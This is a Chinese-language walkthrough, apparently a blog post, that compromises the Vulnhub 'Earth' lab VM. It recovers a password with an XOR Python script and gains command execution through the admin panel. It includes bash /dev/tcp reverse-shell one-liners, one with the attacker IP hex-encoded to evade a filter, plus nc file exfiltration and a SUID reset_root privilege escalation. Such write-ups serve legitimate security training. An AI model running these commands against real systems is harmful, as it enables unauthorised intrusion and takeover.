VulnhubEarth靶机详解

项目地址

https://vulnhub.com/entry/the-planets-earth,755/

实验过程

将下载好的靶机导入到VMware中,设置网络模式为NAT模式,然后开启靶机虚拟机

image.png

使用nmap进行主机发现,获取靶机IP地址

nmap 192.168.47.1-254

image.png

根据对比可知Earth的一个ip地址为192.168.47.134

扫描earth的操作系统,端口及对应服务

nmap -A -p- 192.168.47.134

image.png

发现开放22,80,443端口

发现443端口有DNS解析,在hosts文件中添加DNS解析

image.png

vi /etc/hosts
cat /etc/hosts

image.png

访问earth.local

image.png
发现有Previous Messages

扫描一下网站目录
dirb https://earth.local

image.png
发现有个admin目录

尝试访问一下

image.png
发现是个登录界面

访问terratest.earth.local

image.png

扫描一下网站
dirb https://terratest.earth.local

image.png
发现一个robots.txt

尝试访问terratest.earth.local/robots.txt

image.png
在robots.txt中最后有一个/testingnotes.*,猜测这可能是txt为后缀

访问testingnotes.txt试试

image.png
大概意思是他们传输密文是通过异或异或来传输的
testdata.txt是曾经是用过的密文,曾用terra作为用户名登录

访问testdata.txt

image.png
复制内容,之后要用
前面扫描到的80端口中有传输密文的地方且传输一次就会产生秘钥的残留
image.png
通过上面得知这个文件内容用xor加密方式

写一个python脚本

import binascii

entry_str = '2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a'
pass_txt = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."
pass_txt_16 = binascii.b2a_hex(pass_txt.encode(encoding="utf-8")).decode('utf-8').replace("b'",'')
result = hex(int(entry_str,16)^int(pass_txt_16,16)).replace('0x','')
datatext = binascii.unhexlify(result).decode('utf-8')
print(datatext)

image.png
运行
image.png

找到key:earthclimatechangebad4humans

结合之前的用户名terra,尝试登录
image.png
登陆成功
发现command尝试执行指令,发现可以执行
image.png

反弹shell

在kali设置一个监听
nc -lvvp 6666

image.png

在输入框输入反弹shell脚本
bash -c 'exec bash -i &>/dev/tcp/192.168.47.129/6666 <&1'

image.png
提示禁止远程连接

翻一翻文件

image.png
发现一个user_flag.txt

查看一下

image.png
得到一个flag

翻到forms.py源码

服务器段采用了正则对IP进行数字匹配,把ip地址进行一个转化
image.pngimage.png

再次输入shell反弹脚本
bash -c 'exec bash -i &>/dev/tcp/0xc0a82f81/6666 <&1'

image.png
反弹成功

提权

查看有哪些可以利用的权限
find / -perm -u=s -type f 2>/dev/null

image.png

发现reset_root,尝试执行一下

image.png

用nc将文件传回来,用strace分析一下文件
nc -lvvp 8888 >reset_root			Kali终端
nc  192.168.47.129 8888 < /usr/bin/reset_root			反弹的shell

image.png

chmod +x reset_root
./reset_root
file ./reset_root
strace ./reset_root

image.png

发现有三个文件夹没有创建,所以在靶机创建这三个文件夹
cd /dev/shm
touch kHgTFI5G
touch Zw7bV9U5
cd /tmp
touch kcM0Wewe

image.png

回到/usr/bin目录下重置root

image.png

提示密码被重置为Earth
提权成功

进入root模式,查找flag

image.png
image.png

  • 15
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值